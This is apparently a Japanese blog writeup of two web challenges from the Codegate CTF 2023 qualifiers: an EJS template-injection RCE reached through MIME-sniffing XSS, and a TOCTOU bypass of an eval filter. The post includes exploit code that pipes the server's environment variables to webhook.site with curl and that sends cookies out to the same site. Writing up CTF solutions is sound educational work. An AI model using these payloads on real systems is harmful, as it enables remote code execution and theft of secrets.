st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

Codegate CTF 2023 Preliminary writeup

6/17 - 6/18という日程で開催された。zer0ptsとして参加*1して12位だった。決勝大会に招待されるのは10チームで、そのうち1枠は前回大会の優勝チームとのことだから、この予選大会から選ばれるのは9枠ということになる。微妙な順位ではあるけれども、今年も決勝大会に行けたら嬉しい。

ところで、おそらくそれが可能な問題ではチームごとに固有のフラグを生成するという方法で、チーム間でのflag sharingのような不正行為を検知する仕組みが実装されていた。競技終了後にルールに違反したチームのリストがhall of shameとして公開されていた。


[Web 127] CODEGATE Music Player (30 solves)

Last year, Finalists were involved to put their favorite songs on the playlist to avoid from playing the organizer's loud weeb songs on-site. This year, we decided to provide some good music for the qualification round as well. Good luck solving CTF challenges!

(問題サーバのURL)

添付ファイル: web-codegate-music-player-for_user.zip

前回の決勝大会では、CTFの運営が作業用BGM(?)として参加者からかけてほしい音楽を募集し、プレイリスト*2を作成して再生していた。今回は予選からそれをやろうということ(設定)らしい。

与えられたURLにアクセスすると、次のようなプレイヤーが表示された。適当な再生ボタンを押すと /api/stream/https:%2f%2ffe.gy%2fcopyright-free-content%2fmiku.mp3 のようなAPIからMP3を持ってきて再生が始まった。

ソースコードが提供されているので見ていく。docker-compose.yml を見ると以下の5つのサービスからなっていることがわかる。

  • server: 上記の /api/stream などのAPIを提供している
  • forntend: 名前の通りフロントエンド
  • nginx: リバースプロキシ。我々はこれを通して serverfrontend へアクセスすることになる
  • redis: server が音楽ファイルのキャッシュなどに利用している
  • worker: いわゆるXSS bot。このアプリにはURLの通報機能があり、通報されたURLへのChromiumでのアクセスに使われている

フラグの場所の確認

docker-compose.yml によるとフラグは環境変数で定義されており、また server のみに与えられている。process.env.FLAG を参照している箇所を見ると、以下の通り /api/flag が見つかった。SECRET というCookieが定義されており、かつその値をキーとするCookieの値がフラグと一致している場合に限って、レスポンスとしてフラグを返すらしい。

const SECRET = process.env.SECRET || "CHEESE_SECRET"
const FLAG = process.env.FLAG || "codegate2023{some sameple flag for you}"// get flag
app.patch("/api/flag", (req, res) => {
    const { flag } = req.body
    if (!req.cookies["SECRET"] || req.cookies[SECRET] !== FLAG) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("flag", flag)
})

worker のコードを見ると、botによるURLへのアクセス時に、Cookieとして SECRET の値が格納されていることがわかる。しかしながら、"name": os.environ["SECRET"] のような形でその値をキーとするCookieがセットされている様子はない。/api/flag は一体なんなのだろう。

async def init_browser():
    global browser
    _browser = await launch(**browser_option)
    page = await _browser.newPage()
    try:
        await page.goto("http://nginx/")
        cookie = {
            "name": "SECRET",
            "value": os.environ['SECRET'],
            "domain": "nginx",
            "path": "/",
            "httpOnly": True,
            "secure": False
        }
        await page.setCookie(cookie)
    except Exception as e:
        print("[!] Error during browser initialization: " + str(e))
    finally:
        await page.close()
    print("[.] Browser is now loaded.")
    return _browser

XSS

/api/flag はよくわからないけれども、ひとまずbotを罠にはめるために nginx 上でXSSなどのクライアント系の脆弱性がないか調べていく。音楽ファイルを返す /api/stream/:url は次の通り。インデントが多くてちょっと分かりづらいけれども、これはパスパラメータとして受け付けた音楽ファイルのURLについて、もしRedisにキャッシュがあればその内容を、もしなければ指定されたURLをaxiosで取りに行ってキャッシュに保存するというような処理を行っている。

const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]// basic db setup
const redisCache = new Redis(REDIS_URL_CACHE)
…
// check internal ip
const isInternalIP = (ipAddress) => {
    return ip.isPrivate(ipAddress)
}

// get ip address
const getIPAddress = (domain) => {
    return new Promise((resolve, reject) => {
        dns.lookup(domain, (error, addresses) => {
            if (error) {
                resolve(domain)
            } else {
                resolve(addresses)
            }
        })
    })
}// run streaming
app.get("/api/stream/:url", (req, res) => {

    try {
        let url = req.params.url
        const domain = new URL(url).hostname

        // prevent memory overload
        redisCache.dbsize((err, result) => {
            if(result >= 256){
                redisCache.flushdb()
            }
        })

        // preventing DNS attacks, etc.
        getIPAddress(domain)
            .then(ipAddress => {
                if(!url.startsWith("http://") && !url.startsWith("https://")){
                    url = STATIC_HOST.concat(url).replace("..", "").replace("%2e%2e", "").replace("%2e.", "").replace(".%2e", "")
                }else{
                    if(isInternalIP(ipAddress)) return sendResponse(res, "No Hack!", 500)
                }

                // redis || axios
                redisCache.get(url.split("?")[0], (err, result) => {
                    if (err || !result){
                        axios
                            .get(url, { responseType: "arraybuffer", timeout: 3000 })
                            .then(response => {
                                if (!allowedContentTypes.includes(response.headers["content-type"])){
                                    return sendResponse(res, "Not a valid music file", 500)
                                }
                                if (response.data.byteLength >= 1024 * 1024 * 3) {
                                    return sendResponse(res, "Music file is too big", 500)
                                }
                                redisCache.set(url, response.data.toString("hex"))
                                console.log(url)
                                return sendResponse(res, response.data)
                            })
                            .catch(err => {
                                return sendResponse(res, "No Hack!", 500)
                            })
                    }else{
                        return sendResponse(res, Buffer.from(result, "hex"))
                    }
                })
            })
            .catch(e => {
                return sendResponse(res, "No Hack!", 500)
            })
    } catch (err) {
        return sendResponse(res, "Failed Streaming!", 500)
    }
})

以下のように、指定されたURLからの音楽ファイルの取得時には、その Content-typeaudio/mp3audio/wav などの音楽ファイルのMIMEタイプであることを確認している。ただし、そのシグネチャを確認しているわけではないので、適当なテキストファイルであったとしても Content-Type さえこの許可リスト中にあれば通してしまう。

const allowedContentTypes = ["audio/mpeg", "audio/mp3", "audio/wav", "audio/ogg"]if (!allowedContentTypes.includes(response.headers["content-type"])){
    return sendResponse(res, "Not a valid music file", 500)
}

このAPIについて気になることがあり、取得時に Content-Type のチェックはしているけれども、キャッシュにそのMIMEタイプを保存していない。またレスポンスとして音楽ファイルの内容を返すわけだけれども、その際にレスポンスヘッダに Content-Type を含めていない。音楽ファイルの再生時にDevToolsで通信を見てみたけれども、やはりこのAPIContent-Type を返していない。

X-Content-Type-Options: nosniff が指定されているわけでもないので、Webブラウザは返ってきた内容をもとにMIME Sniffingを行うはずだ。つまり、HTMLを返すようなURLをこのAPI経由で取得した場合には、WebブラウザでそのAPIに直接アクセスすると、そのままHTMLとして表示されてしまうということになる。Content Security Policyのヘッダが設定されているわけでもないので、自由に nginx のコンテキストでJavaScriptコードが実行できてしまう。

server でのRCE

ただ、nginx のコンテキストでのJSコードの実行ができたとて、どうやってフラグを手に入れればよいのか。結局フラグは server しか持っていないことになるし、/api/flag 以外ではフラグを参照している箇所はないのだから、server 上でRCEに持ち込んで環境変数の取得をするしかないのではないか。

ぽけーっと考えていると、icchyさんが以下の /api/messages が怪しいのではないかという発見をした。server ではテンプレートエンジンとしてEJSが使われている。CVE-2022-29078という「脆弱性」があり*3{ "settings": { "view options": {…} } } のような細工したオブジェクトを与えればRCEに持ち込めるのではないかということだった。

問題は SECRET というCookieを持っていないといけないことだけれども、これは先程の脆弱性を使えば、このCookieを持っているbotに叩かせることができる。

// inquiry
app.post("/api/messages", (req, res) => {
    const { id } = req.body
    console.log(id)
    if (!req.cookies["SECRET"] || req.cookies["SECRET"] !== SECRET) {
        return sendResponse(res, "Nope", 403)
    }
    return res.render("admin", {...id})
})

CVE-2022-29078では outputFunctionName というオプションが使われていたけれども、以降の修正でこのオプションはJSの識別子らしい文字列でないと受け付けなくなっている。このアプリでは修正後のバージョンが使われているので、別のものを見つけなければならない。

ぽけーっと探していると、icchyさんが clientescapeFunction というオプションが怪しそうだということを見つけ、またそのままペイロードまで作成していた。あとは雑に printenv の内容をWebhook.siteに投げるようなexploitを作成し、botに踏ませればよい。

<?php
header('Content-Type: audio/mpeg');
?>
<!doctype html>
<script>
(async () => {
    const r = await fetch('/api/messages', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({
            id: {
                settings: {
                    'view options': {
                        client: true,
                        escapeFunction: '1;process.mainModule.require(`child_process`).exec(`printenv | curl https://webhook.site/… -d @-`);'
                    }
                }
            }
        })
    });
})();
</script>

これでフラグが得られた。

codegate2023{can_we_caLL_this_a_0day?vend0r_says_it_is_the_developers_mistake_to_code_like_this}

後で調べたところ、EJSのリポジトリこれに関するissueが数週間前に立っていたことがわかった。"Never, never give users direct access to the EJS render function" というのはそれはそうという感じで、res.render('index', req.query) みたいなコードを書く方が悪い。これをEJSの脆弱性と呼ぶのは微妙かなと思う。

[Web 418] Calculator (18 solves)

Simple javascript based calculator!

(問題サーバのURL)

添付ファイル: web-Calculator-for_user.zip

JSでいい感じに計算できるアプリケーションらしい。与えられたURLにアクセスしてログインすると、次のような画面が表示された。上の textarea に計算式を入力して Calculate ボタンを押すと、ちゃんとその計算結果が表示された*4

実はこのページには <iframe src="/api/calculate.php" id="calc"></iframe> という形で iframe が埋め込まれている。埋め込む側は次のように iframe へ計算式をフラグメント識別子経由で送信し、iframe から postMessage で送られてきた計算結果を表示している。

    window.onload = () => {
      let param = new URLSearchParams(location.search);
      let code = param.get("code");

      if(code) {
        document.getElementById("textvalue").value = atob(code);
      }

      window.onmessage = (e) => {
        if (e.source == window.calc.contentWindow) {
          if(e.data.hacker) {
            location.href = '/';
          }
          document.getElementsByTagName("li")[3].innerText = e.data.result;
        }
      };
    }
    function calculate() {
        let code = document.getElementById("textvalue").value;
        calc.src = "/api/calculate.php#" + btoa(code);
    }
    function share() {
      let code = document.getElementById("textvalue").value;
      alert(`${location.origin + location.pathname}?code=${btoa(code)}`);
    }

埋め込まれている /api/calculate.php は次のような実装になっている。こちらもなかなかシンプル。最終的に送られてきた計算式を eval で実行しており怪しいものの、/api/debug.php がtruthyな値を返さない限り、計算式が /!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/ という正規表現にマッチしてしまうと計算が行われないというちょっと面倒な形で、RCEの対策をしようとしている。この計算のタイミングは window.onhashchange と、ページの読み込み完了ではなくフラグメント識別子が変更されたときであるとわかる。

<script>
function sleep(ms) {
  return new Promise((r) => setTimeout(r, ms));
                
}
window.onhashchange = async ()=>{
    let code = atob(location.hash.slice(1));
    window.isDebug =  (await fetch("/api/debug.php").then((response)=>{
        return response.json();
    }).then((data)=>{
        return Number(data.isDebug);
    }));
    if(window.isDebug) {
        let result = eval(atob(location.hash.slice(1)));
        window.parent.postMessage({result: result, hacker: 0},"*");
    } else if(localStorage.getItem(code)) {
        let result = localStorage.getItem(code);
        window.parent.postMessage({result: result, hacker: 0},"*");
        localStorage.removeItem(code);
    } else {
        if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){
            alert("Are you hacker??");
            window.parent.postMessage({result: null, hacker: 1},"*");
            return;
        } else {
            let result = eval(atob(location.hash.slice(1)))
            localStorage.setItem(code, result);
            window.parent.postMessage({result: result, hacker: 0},"*");
        }
    }
}
</script>

この問題にもいわゆるXSS botがおり、URLを報告するとChromiumでアクセスしに来てくれる。このbotはPuppeteerで実装されており、次のようにして報告されたURLへアクセスしている。ゲストとしてログインした後に、FLAG というフラグを含んだCookieを設定して、指定したURLを開いている。この FLAG というCookieについて、SameSite 属性Strict なのは気になるけれども、HttpOnly 属性が付与されていないので document.cookie にアクセスできたらほぼ勝ちということになる。

async function visit(browser, url) {
    console.log("url : ", url);
    if (!url || !url.startsWith("http://") && !url.startsWith("https://")) {
        console.log("invalid url");
        return;
    }
    const context = await browser.createIncognitoBrowserContext();
    const page = await context.newPage();

    await page.goto("http://web/login.php");
    await page.type("#username", "guest");
    await page.type("#password", "guest");
    await page.click('#submitBtn');
    await sleep(1000);

    page.setCookie({
        "name": "FLAG",
        "value": flag,
        "domain": "web",
        "path": "/",
        "httpOnly": false,
        "sameSite": "Strict"
    })

    try {
        await page.goto(url);
        await sleep(10000);
    } catch (e) {
        console.log(e);
    }
    await context.close();
}

というわけで、先程の /api/calculate.php でなんとかして任意のJavaScriptコードを実行できるようにしたいところ。例のフィルターが困るけれども、その中でなんとかする方法としてまず考えたのは次の2つだった:

  1. /api/debug.php がtruthyな値を返す状況を作り、フィルターを無効化する
  2. フィルターを無効化せず、正面から立ち向かう

/api/debug.php をなんとかできないか

/api/debug.php でなんとかする方法について調べていく。このPHPのコードは次の通り。なるほど、isAdmin がtruthyな値になっているユーザとしてログインすればよいらしい。なお、先程のbotがログインする guest というユーザは isAdmin0 がセットされている。

<?php
    include("../config.php");

    if(!is_login()) alert("login plz", "back");

    $query = array(
        "idx" => $_SESSION["idx"]
    );
    $perm_check = fetch_row("user", $query);
    header("Content-Type: application/json");
    echo json_encode(array("isDebug" => $perm_check["isAdmin"]));
?>

ソースコードとあわせてDBの初期化を行うSQL文も提供されており、これは次の通り。isAdmin1 になっているユーザは admin だけだし、実はこのアプリには登録機能があるのだけれども、その際には isAdmin0 に設定される。ところで、admin のパスワードのハッシュ値である dade533ebe440bc025c0f8022149ff6d について、rockyou.txt やらなんやらでクラックを試みたけれども、これは失敗した。

SET NAMES utf8;
SET time_zone = '+00:00';
SET foreign_key_checks = 0;
SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';

DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
  `idx` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(30) DEFAULT NULL,
  `pw` varchar(50) DEFAULT NULL,
  `isAdmin` int(11) DEFAULT NULL,
  PRIMARY KEY (`idx`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO `user` (
  `username`,
  `pw`,
  `isAdmin`
  ) VALUES (
    "admin",
    "dade533ebe440bc025c0f8022149ff6d",
    1
  );

  INSERT INTO `user` (
  `username`,
  `pw`,
  `isAdmin`
  ) VALUES (
    "guest",
    "79f1e6c833cbabc35c90711258135ad7",
    0
  );

ほか、ユーザのログイン時や登録時にはプレースホルダやORMを使わず、次のように自前の関数でSQL文を組み立てて頑張っている。clean_sql は実際には addslashes であり、SQLiの対策としてはちょっと微妙な感じで、なんらかの形でSQLiができるのではないかと疑う。

<?php
    function fetch_row($table, $query, $operator=''){
        global $dbcon;
        $sql = 'SELECT * FROM '. $table;
        if($query){
            $sql .= ' WHERE ';
            foreach ($query as $key => $value) {
                $sql .= "{$key}='".clean_sql($value)."' {$operator} ";
            }   

            if($operator){
                $sql = trim(substr($sql, 0, strrpos($sql, $operator)));
            }
            else{
                $sql = trim($sql);
            }

        }
        $result = mysqli_query($dbcon, $sql);
        return mysqli_fetch_array($result, MYSQLI_ASSOC);
    }

    function insert($table, $query){
        global $dbcon;

        $sql = 'INSERT INTO ' . $table . ' ';

        $column = '';
        $data = '';
        foreach ($query as $key => $value) {
            $column .= '`' . $key . '`, ';
            $data .= "'".clean_sql($value)."', ";
        }

        $column = substr($column, 0, strrpos($column, ','));
        $data = substr($data, 0, strrpos($data, ','));

        $sql .= "({$column}) VALUES ({$data})";
        $result = mysqli_query($dbcon, $sql);
        
        return $result;
    }

この insert が使われている /register.php のコードを確認する。いきなり可変変数で register_globals 的なことをしておりおいおいと思うものの、$_POST からすべてのパラメータを取り出しているわけではなく、usernamepw に限ってそれぞれ $username$pw に取り出しており、この妙な処理の部分は攻撃には使えないように思う。

$pw については $pw = md5($pw . __SALT__)MD5ハッシュ値にされており、md5 がなんらかの方法で引数をそのまま返さない限り、特に攻撃には利用できなそう。

<?php
    include("./config.php");

    if(is_login()) alert("already login", "./");

    $require_params = array("username", "pw");

    if($_POST){
        foreach ($require_params as $key){
            if(!trim($_POST[$key])){
                alert("invalid parameter", "back");
            }

            $$key = trim($_POST[$key]);
        }

        if(!valid_str($username, "username")){
            alert("invalid parameter", "back");
        }
        $pw = md5($pw . __SALT__);

        $query = array(
            "username" => $username
        );

        $dup_check = fetch_row("user", $query, "or");
        if($dup_check) alert("already exist", "back");

        $query = array(
            "username" => $username,
            "pw" => $pw,
            "isAdmin" => "0"
        );

        if(!insert("user", $query)){
            alert("register fail", "back");
        }

        alert("register success", "./");
        exit;
    }   
    render_page("register");
?>

$username もまた微妙で、valid_str という関数によってチェックが入ってしまっている。実装は次の通りで、a-z0-9_ 以外の文字が含まれてしまうと false を返す。そのため、こちらもやはり攻撃には利用できなそう。登録時の処理だけでなくログイン時の処理についても、同様に valid_str によるユーザ名のチェックと、パスワードのMD5ハッシュ値への変換とがなされていた。登録時とログイン時以外にはDBは参照されていないので、SQLiについては期待ができない。ほか、ユーザ周りでセッションの改ざんなどをする方法を探したが見つからなかった。

<?php
    function valid_str($str, $type) {
        switch (trim($type)) {
            case 'username':
                if(strlen($str) > 30 || preg_match('/[^a-z0-9_]/', $str)) return false;
                break;
            case 'email':
                if(strlen($str) > 50 || !filter_var($str, FILTER_VALIDATE_EMAIL)) return false;
                break;
            default:
                return false;
                break;
        }
        return true;
    }

フィルターを正面から突破できないか

正面から立ち向かう方法について調べていく。まずASCIIの範囲内でどんな文字が使えるかを調べるコードを書いた:

let table = '';
for (let i = 0x20; i < 0x7f; i++) {
    const c = String.fromCharCode(i);
    if (!/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(c)) {
        table += c;
    }
}
console.log(table);

実行して出力された文字の一覧は次の通り。アルファベットの大文字全部が使えるのは嬉しいけれども、小文字が abcdefx しか使えないのはつらい。バックティックとバックスラッシュ、それから 0-9a-f が使えるので、`\x4a` のようにテンプレートリテラルエスケープシーケンスを使うことで任意の文字列を作ることはできる。.() が残されているので、関数呼び出しやdot notationでのプロパティアクセスはできる。

 %()*+,-./0123456789:<=>?ABCDEFGHIJKLMNOPQRSTUVWXYZ\`abcdefx|~

しかしながら、bracket notationによるプロパティアクセスができないので、たとえば 123['constructor']['constructor']('alert(123)')() のように、文字列の組み立てやプロパティアクセスを組み合わせての、フィルターをバイパスしつつの任意コード実行への持ち込みは難しい。ほかのプロパティへのアクセス方法を考えたけれども、Object.getOwnPropertyDescriptor(Object.getPrototypeOf(123), 'constructor').value だの let { constructor: a } = 123 だの、このフィルターを考えるに難しいものしか思い浮かばない。

JSF*ckJS-Alphaのような(似たようなフィルターのもとでJSコードを書く)ツールを眺めてその知見を活かせないか考えるも、やはりプロパティへのアクセス方法や、evalFunctionsetTimeout のような、文字列から任意のコードを実行する方法が作れないことが問題となってくる。だいぶ考えるも、フィルターの範囲内でなんとかする方法が思いつかない。

TOCTOUによるフィルターのバイパス

考えた2つの方法のどちらもうまくいかず、大変悩んでいた。いったん休憩していたところ、ひとつアイデアが出てきた。よく見ると、チェック時と eval 時で2回 location.hash にアクセスしていることがわかる。わざわざ code という変数に送られてきたコードが入っているにもかかわらず、eval 時にはもう一度わざわざ location.hash から取りに行っている。

チェックと eval の間には /api/debug.php へのアクセスが挟まっているが、そのタイミングで location.hash を変更することでフィルターをバイパスできないか。つまり、チェック時には a のようにフィルターに引っかからないコードにしつつ、実際の実行時には (new Image).src = '//example.com?' + document.cookie のようにCookieを外部に送信するコードとなるようにすれば、なんとかなるのではないか。これはTOCTOUですねえ。

    let code = atob(location.hash.slice(1));
    window.isDebug =  (await fetch("/api/debug.php").then((response)=>{
        return response.json();
    }).then((data)=>{
// …
        if(/!|@|#|\$|\^|&|_|;|\"|\'|\[|\]|\{|\}|[g-w]|[y-z]/.test(code)){
            alert("Are you hacker??");
            window.parent.postMessage({result: null, hacker: 1},"*");
            return;
        } else {
            let result = eval(atob(location.hash.slice(1)))

ということでexploitを書く。これは次のような流れで、2と3の間にコードのチェック処理が入り、コードの実行のタイミングでは3でセットしたコードになっていれば、攻撃が成功する。

  1. /api/calculate.php を開く
  2. フラグメント識別子として aa のようにフィルターに引っかからないコードを与える
  3. フラグメント識別子として、本命のCookieを送信するコードを与える

微妙なタイミングなので、複数のウィンドウを開いて何度も繰り返し実行するようにする。フラグは SameSite=Strict なので、iframe ではなく window.open で開く。また、わざわざ最初にコードなしで /api/calculate.php を開くのは、コードが実行されるのはフラグメント識別子の変更のタイミングであり、このイベントを発生させるため。

<body>
<script>
function sleep(ms) {
    return new Promise(r => setTimeout(r, ms));
}

(async () => {
const SANDBOX = 'http://web/api/calculate.php';
const LEN = 5;

function doIt(x) {
    return new Promise(async r => {
        x.location.href = SANDBOX;
        await sleep(500);
        x.location.href = SANDBOX + '#' + btoa('aa');
        await sleep(5);
        x.location.href = SANDBOX + '#' + btoa(`(new Image).src = '//webhook.site/…?'+document.cookie`);
        await sleep(500);
        r();
    });
}

for (let i = 0; i < LEN; i++) {
    let w = window.open(SANDBOX);
    let f = async () => {
        await doIt(w);
        setTimeout(f, 0);
    };
    setTimeout(f, 0);
}

})();
</script>
</body>

これを通報するとフラグが得られた。

codegate2023{056a7969047d8ba327b27e600b8512a562476fd5de1b00df7add8777ee9a3664}

*1:今回はicchyさんを含めて5人での参加だった

*2:私はDistortion!!やまっしろスタートライン、走れメロンパンをリクエストしていた

*3:これって脆弱性なんですか?

*4:7*7を入力して49が返ってきたら、それはSSTIであることが知られている